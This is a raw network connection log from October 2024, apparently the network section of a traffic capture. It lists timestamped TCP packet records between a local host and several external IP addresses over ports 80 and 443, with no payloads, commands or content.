Oct 31, 2024 07:14:19.931122065 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.934158087 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.934226990 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.934232950 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.947019100 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.947202921 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.947207928 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.990578890 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.990628958 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.990639925 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.993266106 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:19.993309021 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:19.993314028 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.043818951 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.047466040 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.048342943 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.048397064 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.048402071 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.051419973 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051450014 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051459074 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051475048 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051503897 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051522970 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.051585913 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051614046 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051620007 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.051620960 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.051664114 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.051664114 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.051680088 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.051731110 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.052087069 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.052143097 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.052197933 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.052460909 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.052486897 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.052501917 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.052508116 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.052550077 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.065921068 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.106307983 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.106312990 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.109211922 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.109278917 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.109283924 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.111776114 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.111800909 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.111833096 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.111841917 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.111881018 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.166169882 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.167098999 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.167135954 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.167148113 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.167155027 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.167293072 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.171186924 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.184473991 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.184519053 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.184524059 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.184829950 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.184890032 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.185079098 CET	49748	443	192.168.2.4	142.250.184.206
Oct 31, 2024 07:14:20.185089111 CET	443	49748	142.250.184.206	192.168.2.4
Oct 31, 2024 07:14:20.677170038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:20.677603006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:20.681989908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:20.682431936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:20.682502985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:20.683233976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:20.683259964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:20.688210964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:20.688220024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:20.696610928 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.696657896 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:20.696696043 CET	49747	443	192.168.2.4	20.12.23.50
Oct 31, 2024 07:14:20.696713924 CET	443	49747	20.12.23.50	192.168.2.4
Oct 31, 2024 07:14:22.121134996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:22.121258020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:22.221882105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:22.221882105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:22.226845026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:22.226856947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:22.226934910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:22.251416922 CET	49739	443	192.168.2.4	172.217.16.196
Oct 31, 2024 07:14:22.402745962 CET	49723	80	192.168.2.4	2.16.100.168
Oct 31, 2024 07:14:22.408158064 CET	80	49723	2.16.100.168	192.168.2.4
Oct 31, 2024 07:14:22.408241034 CET	49723	80	192.168.2.4	2.16.100.168
Oct 31, 2024 07:14:23.008873940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:23.008941889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:23.026560068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:23.031512022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:23.817487001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:23.818233967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:24.307329893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:24.312253952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.085486889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.085633039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.286511898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.343740940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636068106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636079073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636116982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636152029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636168003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636174917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636187077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636195898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636225939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636254072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636607885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636616945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636662960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636751890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636790991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.636795044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636827946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.636992931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.637006044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.637018919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.637028933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.637036085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.637052059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.637082100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.641062975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.643377066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.799828053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799840927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799850941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799896002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.799916029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799945116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.799948931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799961090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799968958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.799972057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.799987078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.799997091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.800014973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.800407887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800419092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800429106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800455093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.800474882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.800746918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800756931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800767899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800776005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.800796032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.800822020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.918828964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918893099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918900967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918925047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918936014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918951035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918961048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.918972969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.919007063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.919585943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.919605017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.919614077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.919775009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.919915915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.919934988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.919945002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.919991970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:25.963596106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.963639021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:25.963695049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.038223028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038233995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038245916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038292885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038305044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038316011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038330078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.038383961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.038513899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038535118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038547039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038583040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.038597107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038608074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.038650990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.082597971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.082607985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.082653046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.082660913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.082674980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.082714081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158046007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158111095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158121109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158130884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158174038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158174992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158189058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158204079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158232927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158417940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158436060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158447027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158478022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158490896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158520937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158530951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158540964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.158565998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.158585072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.201807976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.201819897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.201828957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.201858044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.201884985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.276297092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276344061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276354074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276396036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276406050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276465893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.276506901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.276588917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276607037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276616096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276662111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.276951075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276999950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.276999950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.277010918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.277039051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.277043104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.277055025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.277059078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.277086020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.320719004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.320729017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.320781946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.320791006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.320796013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.320839882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.395396948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.395416021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.395423889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.395451069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.395467997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.395502090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.395512104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.395538092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.395565033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.395962954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396009922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396009922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396022081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396049023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396061897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396085024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396127939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396142006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396152020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396183968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396195889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396198988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396209955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396219015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.396244049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396270037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.396960974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.397010088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.397016048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.397062063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.439941883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.439999104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.440009117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.440118074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.514518023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514532089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514543056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514576912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.514601946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.514616966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514627934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514636993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514658928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.514679909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.514966965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514977932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.514988899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515012026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.515042067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.515335083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515345097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515355110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515364885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515387058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.515405893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.515964031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515985012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.515995979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.516027927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.519134045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.559047937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.559060097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.559071064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.559124947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.559146881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.633516073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.633538961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.633549929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.633577108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.633595943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.633639097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.633661032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.633670092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.633682013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.633711100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.634013891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634063005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.634083986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634095907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634120941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.634135962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.634303093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634368896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634386063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634397030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634407043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634495020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.634962082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.634991884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.635001898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.635019064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.635056019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.678020000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.678030014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.678039074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.678045034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.678100109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.678116083 CET	49758	80	192.168.2.4	185.215.113.206
